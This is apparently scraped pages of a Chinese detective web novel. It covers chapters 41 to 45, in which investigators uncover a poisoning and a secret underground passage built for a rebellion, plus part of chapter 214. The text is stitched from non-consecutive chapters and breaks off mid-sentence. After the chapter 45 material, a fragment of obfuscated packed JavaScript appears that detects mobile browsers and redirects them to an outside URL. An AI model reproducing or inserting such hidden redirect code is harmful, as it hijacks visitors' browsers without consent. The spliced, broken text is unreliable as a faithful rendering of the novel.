她还有情郎在外面,等着跟她双宿双飞…… 如玉深吸一口气,大声唤道:“冯郎?!是你吗?!是你吗?!” 那黑影没做停留,直接往如玉的牢房来。 如玉见那黑影不出声,就知道来人有蹊跷。她不敢再出声,捂住自己嘴,使劲地往黑暗里缩。 忽然,一个衣衫褴褛,佝偻驼背的矮丑男子出现,吓得如玉心里一惊。那丑陋男子一瘸一拐地拎着饭盒,朝她这里来。 如玉见过这个人,这人 41. 探查 《盛世山河(探案)》全本免费阅读 北寰言闭上眼,轻叹一声,从衣袖里掏出一张隐约有墨迹的纸递,蹲下身,递到如玉面前:“他的字,你认识吧?” 漆黑的牢笼里,从天窗里斜射下几道光,正好打在那张纸带墨迹的地方。 如玉隐约看见那上面的墨迹:玉……招。 他的字,她再熟悉不过了。 甚至,她的字里也有他教过而留下的痕迹。 为什么…… 为什么她把她最重要的东西给了他,冒了这么大风险,差点赔上了性命,换来的却是这样的结局? 冯郎要杀她,她心里最后的念头却还是冯郎救她。 “哈哈哈哈哈……” 如玉说不出话来,笑声也变得嘶哑难听。 她捶着胸口,感觉那里有什么东西骤然崩塌、碎裂。 北寰言不忍再看,转身看向冷威交代:“冷将军,劳驾你把如玉送到官驿交给景雀。让他好生照顾。” 冷威领命,立即打开牢门,把如玉从里面架了出来。 北寰言望着他们离开大牢,又回身看向凌信:“你在做什么?” 凌信答:“验尸。” “有什么发现?” 北寰言走到凌信身边,他竟然就在牢里把这人衣服全部扒光。 这人面容已毁,辩不清样貌。 之前衣服宽大,看不清他身形。现在没了遮蔽才看见这人身形佝偻,也是装的。 这是一个很正常的身体,只是个子矮了些。 再往下看。 北寰言倒吸了一口凉气。 这人净过身!? “而且这人用的毒,我们见过。”凌信站起身,“之前跟踪我们,被我们偷袭,自裁的那两个人,用的也是这毒。” “你怎么知道?”北寰言问。 凌信说:“毒血的味道差不多。我不学毒,但是小芷应该能辩出来。” 北寰言眼眸微眯:“找人来抬尸体。” 凌信立即去找御林军来把尸体抬出去。 北寰言低头出了大牢,看见纵尚风尘仆仆从外面回来。 他一回来,就要来汇报事,北寰言却没空理听他说,只道:“其山的案子,纵大人来审。我只看结案卷宗。” 纵尚何其聪明,听北寰言说这话,立即颔首:“是。” 说罢北寰言就带着凌信往官驿赶,去看如玉的伤。 * 如玉受惊过度,到了官驿以后,就一直缩在床上裹着被子,瑟瑟发抖。 也不让凌信诊脉,凌信一靠近她,她就尖叫。凌信实在是没办法,只能给她开一记镇静的方子,让她先住在官驿养着。 北寰言找到冷威,问当时牢里的情况。 冷威抱拳一礼,道:“回公子的话,凌公子走之前交代让我好好看着如玉姑娘,我便一直在外面守着。后来冲进去,也是因为如玉姑娘在牢里喊了一句什么。我以为是如玉姑娘有什么话要我带给公子,便下牢去看。正巧遇见那狱卒杀人。” “喊了一句什么?”北寰言问。 冷威垂眸,仔细回想,道:“好像是喊了一句,冯郎什么的,我离得太远,没听清楚。” 这姑娘……倒是个痴情种。 北寰言眉宇微蹙,眼眸低沉。 * 暮色四合的时候,北寰舞与时均白在宁府上用了晚膳,休息了一会儿儿,就出发去探北寰言查出来的这二十多出宅子。 沁春城晚上宵禁时间是亥时,眼下才酉时刚过。 街上还有不少商贩在收摊。 北寰舞与时均白为了不引人注目,坐了一辆马车,往城南去。 这一路上,时均白脸色都不好。 他看上去很忧虑。 北寰舞看着时均白一脸愁容,也不知道说什么,只能低头,自己扣着自己身上的小玩意。 北寰舞换了一身暗红色江湖上方便行事的束衣,把头发高高束起。 时均白则是穿了一身玄色的束衣,坐在北寰舞对面,显得整个人细长。他本就肤色偏白,穿玄色,就显得人白得有些透。 两人坐到城南下了马车,时均白给了马夫车钱,两人佯装散步,在附近绕了几圈确定没人跟着,才徒步走到舆图上画着的最初的民宅。 来了才知道,为什么北寰言会圈这处宅子。 这根本就称不上是宅子,最多算是一个窝棚。 外面有一个小院子,但是院子栅栏已经破旧不堪。往里看,那屋子是用泥土跟稻草建的,年久失修,四处漏风,破烂不堪。 这个窝棚在沁春城里所为的贫民窟,这里住的都是贫苦百姓。 甚至连进入这片住宅区,都有一股难闻的味道 北寰舞蹙眉,推了下院子门,院子门立即倒下,震起一阵尘埃。 北寰舞捂着口鼻往里面走,呜呜地说:“其山有病吧?买这房子干什么?” 时均白进了院子就在四处翻找。 很有目的。 他里里外外翻了个仔细。 北寰舞没管他,在院子里绕了一圈,发觉这屋子已经很久没人住了。屋里有些东倒西歪、破旧家具,上面落了厚厚的一层灰。 屋顶破漏,连门都没有,门口挂着门帘,门帘被腐蚀的只剩下一点点,随风浮动。 时均白举着一颗时家探墓时经常用的冷光石,在屋里逛了一圈。 他轻轻一碰桌子,桌子立即倒了摔在地上碎成木屑,摔出许多白蚁,脆得离谱。 北寰舞抱着手在门口看着,屋里就那么多东西。 时均白找了一圈,没发现什么。 脸色竟然缓和了不少。 “走吧,下一处。”时均白带头走出民居,往下一家去。 下一家距离上一家,不到一千步的距离。 明月当空,把地面照的雪亮。 北寰舞负手跟在后面,看着时均白在前面带路,左拐右拐。 “师兄。”北寰舞忽然开口。 时均白回眸:“嗯?” “你把哥哥留下来的舆图,背下来了?”北寰舞虽然觉得不可思议,但还是想问。 时均白缓走了几步,等北寰舞走上前,与她肩并肩才道:“不算是背下来。一个城池的修建,亦或者是民宅的修建,都有他们的建造规律。再加上有些宅院讲究风水,记个大概的地方,不算难。我们家情况比较特殊,我自小就有许多图纸需要记。一个时辰记一张地图, 42. 缩骨术 《盛世山河(探案)》全本免费阅读 “嗯?”时均白应了一声。 “看这天气,似乎要起风了。” 北寰舞话音刚落,狂风大作,卷起地上一层灰尘 南境风多带着海上的风雨,一旦刮起来,那便是能撼动参天古树。旁边古树瞬间就被刮得枝杈乱响,宛若下雨打在树叶上的声音,噼啪乱响。 “啊——”北寰舞被飓风刮得直往后退。 时均白一步过来拉住北寰舞的胳膊,把她护在怀里,往屋檐下躲。 这屋子虽然比前面一座建的好些,但也是用泥糊的,狂风一吹,便有倾倒的趋势。 风只吹了一阵,便停了。 时均白在南境暮云峰上住过几年,知道这里天气,一旦刮风,这夜里风就不会停。 北寰舞身子太轻,风一刮就能把她刮跑。 时均白趁着风停,把她从地上捞起来说:“我们直接去下下家。” “为什么?”北寰舞不解。 时均白已经拉着她跑了起来:“从风水跟城镇布局来看,下下那一家宅子在富人区,应该是用石头堆砌建造的,抗风。” 他们在小巷里飞奔,除了看家的狗看见两道背影,汪汪叫了两声以外,便没人看见他们。 果然如时均白所言,过了两条街,就看见这里宅院已经明显变得精致豪华。 从步数算,这应该是沁春城南城区中心地带。 再过几条街就南市。 时均白指着前方一座院子:“就这,进去。” 两人一跃而起,落在院子里。 这宅子是两进民居。 院子里没灯火,乌黑一片。 这里宅子与宅子之间间隔很大,隔壁宅院的灯火照不过来。 之前时均白给北寰舞用荧光石打造的手镯还在她身上,黑暗里就看见两团小绿光,在房门口停了一会儿,“咔嚓”一声门锁落下,两人快速进了前厅的屋子。 很快又起了一阵风,把门吹得乱晃。 风穿堂而过,发出呜呜的声音。 时均白在屋里查看。 北寰舞站定,用手捏着自己下巴,想了好一会儿才道:“师兄,你没觉的这几处宅子都挺奇怪的。” “奇怪?”时均白没看北寰舞,一直低头找东西。 北寰舞点头说:“你看啊,我们刚才去看查的那两处宅子都很破对吧?” “嗯。” “而且从地势上看,是在低洼处。”北寰舞问。 “低洼……”时均白动作一僵,似乎想到了什么,“你……是想说……” 时均白不太确定,看向北寰舞。 北寰舞点头:“两个地方太干了。南境多雨,低洼处的房子便宜,因为容易渥水。可是方才我们进去,院子里随便都能起灰尘,这不太对吧?” “嗯。”时均白点头,北寰舞说得不错。 其实不仅方才他们进的那两处宅子四处很干燥,周围的房屋也一样很干燥,没有出现路泥泞难走的现象。 两人说着,又起了一阵风,屋子里又响起风穿过缝隙,挤压发出的呜呜声。 北寰舞捂着口鼻。 时均白要去关门,立即被北寰舞拦住了。 “师兄,不对!你听!” 北寰舞拉住时均白的胳膊,不让他关门。 这阵风大,一直没停。 屋里的呜呜声也一直没断。 时均白也察觉不对。 关了门窗,风出不去,才会有呜呜声。怎么眼下门大开,还会有呜呜声!? 除非! 时均白立即转身,侧耳去听这呜呜声从哪里来。 他一路探查,就听见这屋子后面有一口井里声音最大。那呜呜声,就是从井里传出来的。 北寰舞跟过去,从地上捡起一块石头,丢到井里,很快那石头便落了地。 下面没水。 听声音下面像是有一层厚厚地枯枝烂叶。 趴在井边,听井里的呜呜声,更清楚了。 两人对视一眼,异口同声道:“井下面是通的!” 两人立即把抓钩固定在井沿壁上,让身上的机括轮轴拉着自己往下放,他们俩背靠着背一起往井里下。 下到一半的时候,北寰舞忽然被一阵风吹得头发乱飘。 时均白在她身后,几乎被她的头发包围。 “有了!”北寰舞指着井壁上一个只有成年人头差不多大小的洞说,“风好像是从里面出来的。” 时均白说:“我们一起转个身,我看看。” 北寰舞与时均白手臂交叉,相互背着对方,脚踩着井壁,转了半圈。 时均白也看见了那个出风口。 他立即从身上随身携带的小布袋里,拿出一个发着莹绿色光的小珠子,使劲丢进了井壁上的小洞。 只见那小珠子一路滚进去,滚了三息的时间,就掉了下去,似乎还在地上弹了几下。 “你这是做什么?”北寰舞眨眨眼睛,“财大气粗?有钱没处花,可以给我。” 时均白解释:“这是我在时家祖上古籍看到的,以前我们先辈盗墓时期,留下来的探墓的方法。用这发光的珠子探探路,看看这通道有多长,听掉落的声音判断里面空间有多大。” “知道又如何,”北寰舞道,“难不成你还能进去?” 时均白悠然地嗯了一声。 北寰舞愣了一下,才想起来。 确实。 这地方,换别人肯定进不去。 但是如果是时均白,他就可以进去! 因为他会缩骨术。 “你真能进去啊?”北寰舞有点担心,“这地方只有人头那么大啊?而且下面也不知道有什么,你这么冒然进去真的没事吗?” 时均白回眸,微笑问:“你担心我?” “废话!”北寰舞说,“师叔就你一个儿子,跟我们在一起出点什么事,我就不用见你爹了!” 时均白挑眉,眉眼处满是风流轻佻:“你太小看我们祖传技能了。这盗墓探路爬洞的手艺,我天生就会。放心吧,这地方再危险,能比墓里危险?” 听他这么一说,也是。 时家祖上盗墓,会不少探墓盗墓爬洞的手艺。 墓里的东西,可比外面危险多,也复杂多了。 说完他便从身上拿出了几个钩爪,定在井壁上,他不依靠北寰舞,依靠丝线的力量攀在井壁上。 北寰舞借助丝线的力量往上爬了一点,给时均白腾地方。 时均白稍微松了一下胫骨,就听他浑身上下的骨头好似错位了一般,咔嚓咔嚓响个不停。 北寰舞只觉得毛骨悚然,小声问:“疼吗?” 时均白回答:“还好。习惯了。” 太惨了 43. 在意 《盛世山河(探案)》全本免费阅读 如玉喝了凌信开的镇静的房子,很快就躺在床上睡着了。 他们回官驿的时候,景雀已经帮如玉沐浴过,换了一身干净的衣裳,给她单独安排一间房间,门口有专人值守。 北寰言坐在矮几前,手撑着额头,闭目沉思。 凌信走过去,在对面坐下:“想什么呢?” 北寰言没睁眼,眉宇间沟壑却越来越深了:“在想那书生的事。” 凌信也觉得奇怪:“按道理说,那书生应该早就拿到名册了,为什么不走呢?” “走不了,”北寰言道,“如玉不死,他们不知道她手上是不是还有第二份名册。” “可如玉已经入狱很久了,为什么早不杀晚不杀,偏要等你问完话再杀?”凌信不懂。 “还是刚才那个问题。”北寰言睁开眼,“他们怕如玉手上有第二份名册遗漏在外面,所以需要我来替他们问话。如果如玉手上还有第二份名册,她就会直接让我去找。而不是告诉我那个书生住在哪。他们看见我往清水巷去,就知道,他们手上那个册子,是唯一一本,于是才有了后来飞鸽传书,让送饭衙役杀人。” “你这不是思路挺清晰的吗?”凌信问,“还在这想什么?” 北寰言说话略有迟疑:“按照你验尸的结果,如玉……那书生……送饭衙役……已经死了的跟踪我们的人,跟许都里的势力是一伙的。我是不是可以这样认为,其实如玉本身就是许都那个人安插在雪娘身边、寻找那本册子的人?” “嗯。”凌信点头。 “那么这整件事最开始的源头,或许就是这个……也不一定。”北寰言喃喃自语。 “什么源头?” 凌信又是有听没有懂,他最近总是觉得自己脑子不够用。 怎么北寰言说的话,他越来越听不懂了? “哥!” 北寰舞声音先到,随后人推门而入。 北寰言抬眸,看见北寰舞与时均白一起进了屋。 时均白眉宇微蹙,眸低竟然带着些许悲伤。 北寰言站起身:“下定决心去查那院子了吗?” 时均白点头。 凌信又是一头雾水:“啊?什么院子?” * 四人骑马,夤夜赶到雏凤楼隔壁已经被御林军封锁的院子。 凌信到了才知道他们想进的院子是这里。 门口把守的御林军看见凌信北寰言一行四人纷纷欠身抱拳行礼。 凌信摆手让他们起来,一行人进了院子。 这院子占地面积极广,只是因为走水,里面所有的屋子都变成焦木。即便是北寰言想在里面找什么证据也都不可能了,所以从一开始他就没花时间在这宅子上。 今夜风大,四人刚进院子,就有一阵风掠过。 北寰言侧身把北寰舞拉到自己身前,替她挡着,顿时心如明镜一般,问:“是因为风找到了破绽?” 见北寰舞点头,北寰言心里便有了数。 时均白入院子直奔后院,找之前他们跳水逃走的那个池塘。 现在这宅子里面到处都是御林军,偷袭他们的那些人早就不在了。 时均白来到池塘边,看了一会儿,道:“我需要关闸放水。” 北寰言一点都不意外,走上前:“走之前已经交代冷威带人去关水闸了。等一会儿吧。” 时均白沉下目光:“你早就想到了?” 北寰言嗯了一声:“小舞在水闸那里遇袭,我就觉得有些奇怪。这护城河上根本没必要修水闸。多此一举,必有深意。再想想你二探这宅子,说明这里面有你特别在意的东西。” 北寰言转眸看向时均白:“你这些年在暮云峰上学艺,初来沁春城,能有什么东西是你特别在意的呢? “这其实很好想,只有你们时家的东西会让你如此在意。 “后我查出来其山在沁春城强买强卖的事,好巧不巧,所有人告他强买强卖的东西是宅子。 “我收了其山府上的往来账簿,把那些收购价格异常的宅子圈出来。 “在舆图上画出一条直线,而那条直线的末端指向雏凤楼的时候,我就知道这事八成只有你能探查清楚。 “我是这样想明白这件事的,那你又是从哪里发觉这事有蹊跷的呢?” 时均白望着池水的里的那一汪明月,缓缓道:“从我跳入护城河,寻找那些女尸的时候,我就察觉了不对。 “我跳入护城河,看见河里到处都是脏污河、水草。但记得我跟师妹从这宅子里池塘跳下去的逃走的时候,这池子很干净。 “当时事出紧急,我没机会细想,只是隐约觉得哪里有些不对。 “直到师妹去闸口,我看见有人影往这院子来,忽然明白了我心里一直在意的事就是这宅子里的池塘。 “于是我就跟过来看。也受了伤。 “这里有人守着,让我更加确定了我心中所想——这池子下面之所以这么干净,一定是有蹊跷。 “后来我追师妹去上游,看了一眼那个水闸,心中便有了一个假想。 “可是我不敢往深了想,深怕这事与时家有关。 “直到你拿着舆图来找我,给我看上面用宅子画出的一条直线,我就明白了——这是我不得不面对的问题。 “方才我去探查,在一处宅子里找到了一个井,井里有洞,我爬进去,进入了地下密道,才明白了整件事。” 时均白说话间,已经有零星雨滴,砸在地面上成了一个水滩。 北寰言侧目看了一眼北寰舞,让她去前面不远处长廊里躲雨。 北寰舞问:“你们不去?” “无妨。”北寰言让她去。 北寰舞鼓着嘴,进了长廊。 皱鳞细雨,层阴藏月。 即便是这样,月亮还是漏了半个头在外,把大地照得银灰。 时均白与北寰言两人站在风雨里,望着水池逐渐变浅。 正如时均白所言,这个水池太干净了。 池壁没有青苔,池低没有淤泥水草,甚至连沉石都不曾有。 池子里的水,还没放完,只剩一个浅底,时均白一跃而下,单膝跪在地上,先从池壁开始摸起。 北寰言双手拢在衣袖里,任雨打在脸上,也不避。静静地看着时均白在下面忙活。 44. 地下神道 《盛世山河(探案)》全本免费阅读 他似乎在想很久远的事,眼睛里没有焦点,脸上没打着雨,下巴上的滴水却没停。 北寰舞在一边看着想要去说些什么,北寰言拉住她,摇摇头。 大约过了半个时辰,冷威带人拖着盖着油布的车进了院子。凌信跟在后面,跟着一起推。 时均白对炸药很熟悉,他们家最会用炸药开山炸洞。 他下池子,找了几个相对脆弱的位置,放上炸药,盖上油布防雨。 他让人从爆炸范围里面退出来,问御林军神机营借了一把弩,自己翻上廊顶,在箭矢上绑了油布点着,对着远处池塘里的炸药包射出。 箭矢出手的瞬间,他立即捂住耳朵,只见带火箭矢“嗖”的一声破空而去,碰到炸药包的瞬间黄白色的光骤起,夜幕之下瞬间跃起昼白,随之而来巨大的连环爆炸声,响彻天地。 震得铺天盖地的雨水都在空中散了型。 退到一边的人都闭眼捂住耳朵。 爆炸过后,那池塘底部石板被炸出了一个豁口。 雨水轰轰地往里灌。 时均白从廊顶上跃下,把弩还给御林军,问冷威要了一个火把,冒雨跳进了巨石板下的密道。 北寰言、北寰舞、凌信、冷威,带了十几个御林军也拿着火把,一起下了密道。 十几个火把一下密道就把密道照得跟白昼一般明亮。 他们那么多人站在这密道里举着火把,也能把身子站直,而且距离洞顶还有很大空间。 时均白拿着火把,在密道的地面、墙壁、壁顶绕了一圈,往前探了几步,便往回折返。 北寰言望着他,等他说话。 时均白似乎是在整理心情一般,许久才道:“这修建方式,有点像……地下神道。” “地下神道?” 跟下来的御林军窃窃私语。 凌信不懂就问:“什么是地下神道?” 北寰言解释:“皇陵里,为了迎接先帝遗体而修的道路。这道路修整整齐,上面有许多浮雕壁画。这神道会一直延伸进皇陵里,在外面的道路,叫神道,在皇陵里的神道叫地下神道。” 时均白接过话头:“一般帝王宾天,会由专门的军队护送进皇陵。这神道就是给军队走的。护送军队必须整装,手拿兵器,以护卫遗体进入皇陵。其中最长的兵器就是枪,所以地下神道一般都要算足骑兵们带马拿枪的高度。所以如你们所见,这密道才会修得这么高,这么宽,这么大。” 北寰舞道:“这里面比皇陵地下神道差远了吧?” 时均白点头:“大约这里面没想过要走马,所以没修那么高。” 凌信在一边听他们讲神道觉不对,问:“所以这里有一个类似于神道的地方,是要干什么?” 北寰言颔首,目光微敛。 这一点都不难联想,神道是给军队走的路。 所以这里的神似皇陵地下神道的地方,也是要给军队走的路。 “起兵谋反。” 北寰言缓缓吐出这个词,整个人都变得阴沉了不少。 在场所有人,除了北寰舞与时均白,脸上皆是震惊之色。 北寰言眼神里带着寒光:“这就是为什么那日我还没有开始查其山,去开国伯府赴宴,他就这么迫不及待地想要杀我的原因——他怕我查到这个用于谋反输送军队的密道,耽误他们谋反的大计! “因为那个时候,小舞与时均白两个人已经触摸到了这整件事最关键的地方。这也是那些偷袭你们的人,想让你们死的原因!” 北寰言看向时均白:“设计这密道的人,是你正在修皇陵、那个目前时家公认的奇门遁甲造诣最高的小叔叔,时灵,对吧?” 时均白神色黯然地点点头。 北寰言早就察觉这事跟时均白的小叔叔时灵有关。 时均白心里有这个猜想了以后,便格外注意这些跟时家有关的东西。 今夜时均白入了那井,看到了这条修整这么整齐的地下神道他便知道,密道的开掘、布置、地段选择、优秀的地下排水系统,除了他的小叔叔,没人能设计得这么清楚。 本身时家能设计皇陵的人就不多。 以前修皇陵的人都跟着先帝一起殉葬了。 眼下时家,有本事设计这么庞大的地下密道,除了他自己,那便是正在给许景挚修皇陵的时灵了。 时家到底是有一个天之骄子,想要反抗这凉薄凄惨的命运。 一生所学,还未发挥,便要葬在黄土之下。 任谁都不会甘心。 北寰言轻叹一声,拍了拍时均白的背:“回去再说。” * 四人冒雨回到官驿。 景雀看着外面狂风暴雨,便知道他们即便是回来也是浑身被雨浇了个透。 早早就让人准备好了沐浴的热水与去寒的姜汤。 四个人一回来,就先去各自房间沐浴,换衣服,擦头发,最后才到北寰言屋里坐着。 景雀去厨房端了姜汤,连忙挨个递上,让他们喝了暖身子。 北寰言道:“劳烦景叔,你帮我去给冷威将军传个话。让他想办法把那宅子后池塘里入水口堵住,再派人进密道,往回走,看看那密道出口在哪里。” 景雀颔首:“我这就去。” 北寰舞换回了女装,坐在中堂的椅子上擦头发。 凌信的头发最短,干得最快。 他安静盘腿坐在椅子上。 屋里气氛很是静默,所有人都望着时均白。 时均白脸色不好,站在窗边看着外面如瀑风雨,神思忧虑。 带人下地道验证了这密道是地下神道开始,他心情就没好过。 他不敢相信,自己的小叔叔,那个和蔼可亲教自己奇门遁甲,没事就会逗自己玩,抱着他带他买糖葫芦的人,竟然会与其山勾结,意图谋反。 时灵想活。 他的小叔叔想活! 因为想活,所以做出了这等大逆不道的事。 愚蠢…… 愚蠢! 这么聪明的人竟然也有做糊涂事的时候! 时均白越想越气,一拳打在窗棂上,骨节处立即见了血。 北寰言走到时均白身边,低声道:“那地下神道还有许多事,还有待查验……你小叔叔的事未必没有转机。我朝以宽厚仁慈治理天下, 45. 嚣张 《盛世山河(探案)》全本免费阅读 如果想定其山的死罪,雏凤楼抛尸护城河女尸案子证据不足。 但若是想用起兵造反这事拿下其山,他必须把安王府摘出来。 所以,其山是认定了即便是他查出了地下神道一事,也不敢深究,而女尸案又不足以让定他死罪。 所以,那日在开国伯府上,他让府兵伏杀他,有恃无恐。 他手上捏了一张牌,只要他敢动他,他便能拖整个安王府下水。 这步棋布置得好。 好到连他一时半会都想不到解局。 北寰言隐约觉得,这件事背后的势力,远比他想象的更加强大。 又悉悉索索地翻了个身,凌信声音从对面里间传来:“睡不着啊?” 北寰言确实睡不着,便坐了起来嗯了一声。 “你怕其山那事,拖安王府下水?”凌信问。 北寰言又嗯了一声:“我还没想到破局的办法。这事明显跟谋反有关,历朝历代只要牵扯上谋反,都没善终的。” 凌信躺在床上,打了个哈欠,头枕着双手,要睡不睡地问道:“那其山,真的是你父亲的旧部吗?我怎么一次都没见过?你见过吗?” 北寰言沉默。 他也没见过。 北寰言目光落在锦被上,不知在想什么。 清晨的第一道阳光破窗而入,撒在他手背上,他心中一动,似乎有什么事一闪而过。 他瞳孔猛缩,脑子里被遗忘的线索瞬间变得清晰起来! 他似乎找到了破局的关键! * 翌日,辰时末,景雀把北寰言喊起来。 帮他更衣,束好头发,便让人把饭送来。 北寰言很困,吃饭的时候眼睛都闭着。 凌信更困,他压根就不想起来用早饭。 景雀强行把凌信拉起来,把人架到饭桌上,一边帮他布菜一边唠叨:“两位公子都是长身体的时候,怎么能不吃饭?” 凌信拿着筷子,头都垂到桌上去了,脸贴着桌子,顺势就趴那继续睡。 景雀见状觉得好笑,又去捏凌信鼻子,把他捏醒。 如此好几次,凌信才彻底醒。 凌信无精打采地喝了一口粥:“我怀念许都生活。好歹晚上能按时睡觉不是?” 北寰言眼睛没睁开,但是听见凌信说话,也是下意识地点点头。 景雀知道他们这些时日为了查案子,披星戴月,特地让厨房煮了海参虾贝咸粥,里面放了些人参。馒头里塞了枸杞。 凌信喝一口直蹙眉:“景大监……” “啊?” 景雀给他夹了一筷子小菜,放到他盘子里。 “你一次煮这么多进补的东西,也不怕我们上火?!”凌信指着下巴上一个要冒没冒出来的痘痘,“熬了好几个大夜了,南境这天气又热,很该给我煮点清热的吃食。” 景雀照顾他们是按照宫里的习惯。 他不知道这里这么热,不能这么吃。 北寰言老老实实地吃着,不啃声,他脸上一般不长东西。 但是凌信正是脸上冒痘痘的时候,他经常一觉睡起来,脸上长一个小痘痘。 所以他最近吃东西都非常注意。 景雀看他竟然这么在意自己脸上长痘痘,“噗”的一声笑出声来,道:“知道了,知道了,下次我去嘱咐厨房。” 两人慢吞吞地吃完饭,人也彻底醒了。 北寰言不想骑马,只想走到府衙,顺便消食。 景雀这边伺候完北寰言凌信,转身又去看北寰舞与时均白。 * 北寰言正点到府衙,看见纵尚已经来了。 他趴在后堂的案牍上奋笔疾书。 听见有人来,抬头看见北寰言,连忙起身作礼。 北寰言让他别多礼:“其山审得怎么样了?” 纵尚拿起写了一半的卷宗,道:“雏凤楼的流水大部分都进了开国伯府,城内几个银号走的账,我已经查到了账簿。昨日带着证据去审其山,其山也供认不讳,说雏凤楼背后主子就是他。他也认下护城河女尸案是他犯下的。” 北寰言听着不做声。 纵尚道:“开国伯其山逼良为娼,利用幼女赚钱这案子到此就审结了。至于如玉递上来的名单……到底只是个名单,其他有用的信息都没有。其山不认那名单,我也不能就这么结案。开国伯其山意欲谋杀南境巡察使这事,他不认。只说是公子莫名其妙拿人,他只是自保。剩下的这罪名,也不够定死罪。” 北寰言点头,这是意料之中的。 那个名册现在不在雪娘手上,不在如玉手上,也不在其山手上。 其山不认是为了苟活。 但他手上有其山其他的事,要定他的死罪,不用雏凤楼。 北寰言道:“我要提审其山,纵大人也一起来听罢。” 纵尚有些不解,但是昨夜雏凤楼隔壁院子里发生的事,他略有耳闻,便也不多话,直接让人去提审其山。 北寰言二话不说,快步走到前堂,朗声道:“开府衙大门——升堂!” “升堂!?公子!不可……” 纵尚想要阻止已经来不及。 “威武——” 黄海一众衙役一听升堂,立即以棍着地,告诉门外路过的人们,府衙升堂了。 纵尚追上北寰言一把拉住他:“言公子!你可知,你今日升堂提审其山,与你不是一件幸事!?” “知道。” 北寰言目光淡然,极其坦诚。 “那你为何还要升堂?!”纵尚怒目圆睁。 “不想遂那贼人心愿罢了。” 北寰言轻轻把纵尚手从胳膊上捋下,望着纵尚,脸上带了些许决绝:“我,也有想保护的人。若我今日在这里退缩,那便证明我当日自愿往许都是错的。 “我入许都,听圣人训,学宦海,为的就是今日有人企图玩弄权术之事有反击的力量。 “这事,必须升堂,在众人目光下审——不然,我回去说不清楚。” 北寰言缓缓欠身,向纵尚作揖:“纵大人好意,我感怀在心。但这从始至终都是我一个人的战场。” 说罢他便抬身,双手拢在衣袖里,缓步而去。 那背影,风姿绰约,威仪肃穆。 他身上无剑,心中却带了三尺利剑。他想要一剑斩断这牵扯着江山之中的阴谋蛛丝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914552|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许景挚摆手,让他起来,把乌族国书递给他看,与刘新商议道:“乌族大狼主三子,身份特殊,若是接待不可草率。” 刘新回道:“是。礼部也在翻阅史籍看看以何礼接待才算符合国礼。只是有一事……礼部不知道陛下如何想。” “说。”许景挚双手撑着案牍。 刘新道:“万寿节来贺寿的各国使臣都住在许都官驿,可那都是官员,并没有皇子前来。安排在官驿倒也符合礼数。只是这次乌族大狼主三子前来,就不能安排在官驿了……住在什么地方还要请示陛下的意思。” 许景挚双手拢在衣袖里,靠向椅背,沉吟片刻,道:“让皇后在宫里收拾个地方出来,给漠勒住。为防徒生事端,让秋薄派信得过的御林军全天跟着漠勒保护他的安全。” 刘新点头,表示同意。 许景挚看向景雀:“你去跟皇后说,乌族大狼主三子漠勒此次来朝贺寿,不可怠慢。派什么人去伺候,怎么伺候都要交代清楚。收拾的地方离皇城门近些,方便他出去玩。顺便让秋薄来一趟御前。” “是。”景雀立即欠身出去办事。 许景挚又看向刘新:“这次来朝贺寿的国家多,你事必躬亲把这事办漂亮了。回礼也不要太小气,依着各国的国情,看他们缺什么就回什么。若是花钱能让边境安静些,这银子花的倒也不亏。人手不够,你就向皇后说明,从内务府里借宫里内官去帮忙。御林军与禁军都在忙着招灵台的事,恐怕也抽不出多余的人手给你。” “是。”刘新欠身,“臣这就去办。” 说罢刘新便退了出去。 许景挚侧目看向郭学林:“说说看,你对乌族三子漠勒来有何见解。” 许景挚迫不及待地想要看看郭府嫡长孙,今年恩科状元郎到底有什么本事。 郭学林收了国书,微微颔首道:“这乌族三少主漠勒此番前来怕是……来与朝廷和亲的。” “哦?”许景挚站起身,走了两步,“何出此言?” 郭学林欠身道:“臣听祖父说,这乌族三皇子漠勒是大狼主最喜欢的儿子,却不是能力最强的儿子。大狼主想要二子漠齐澜继承狼主之位,所以早早地就给二子娶了乌族东乌族首领女儿。东乌族是整个乌族部落里最大的部族首领,二子娶东乌族女儿,基本是内定的下一任大狼主。” 许景挚深吸一口气,沉下声:“说下去。” 郭学林蹙眉:“漠勒实为乌族皇子还没有成婚。十九岁,无论是在乌族还是在东陵,十九岁的皇子尚未成婚,都是一件不寻常的事。 “漠勒若不是另有谋算,不可能到了这个岁数还没成婚。 “以往万寿节,乌族也没有派过使臣,怎么今年不仅派了,还派来了三子漠勒? “说明这其中一定有什么事,是需要漠勒亲自来的。但陛下细想就知道,到底有什么事是漠勒必须亲自来的呢? “结合乌族狼主继承尘埃落定,不难得出这个结论——漠勒此次来朝贺寿是小,想借助东陵力量回去与自己二哥夺得狼主之位才是真。 “若是想要与东陵盟约,最好的方式便是他亲自来访,与东陵和亲。” 许景挚在地台上缓行几步,深觉郭学林这一步看得高瞻远瞩。 214. 决心 “这等送上门的好事,孤没有理由不许啊……” 许景挚微微侧目,看向殿外高云。 郭学林从开始说这事的时候,眉宇凝重就没解开过,他已经想到这件事往后。 郭学林从御书房出来,拉起衣袍也顾不上那么多礼节,疾步出了宫门,跃上马甩鞭就往大理寺去。 北寰言还在堂内写结案陈词,听见外面郭学林一路唤他:“阿言!” 北寰言合上书册,起身出门去迎。 郭学林跑得飞快,一路飞奔进内堂,一把扶住北寰言,大口大口喘气。 “怎么了?”北寰言看着他如此焦急。 郭学林深吸了几口气,道:“郡主在哪?走,跟我去找她!” “什么?” 北寰言还没弄明白,就被郭学林从大理寺拉了出去。 两人上了马车,郭学林喘匀气,才道:“今年万寿节,乌族大狼主三子漠勒亲自前来贺寿!” “嗯?这跟小舞……” 北寰言张了张嘴,立即想明白了其中的关系。 郭学林立即道:“这不是我乘人之危,也不是我危言耸听……阿言你知道,若是和亲,嫡公主许思不可能远嫁乌族,再往下看皇族宗室,适龄女儿家,只有长乐郡主年十六刚好!漠勒亲自前来贺寿,为的就是要与东陵结盟,陛下正愁没机会一举覆灭乌族,眼下有了漠勒这颗送上门来的棋子,陛下必不会放过。” 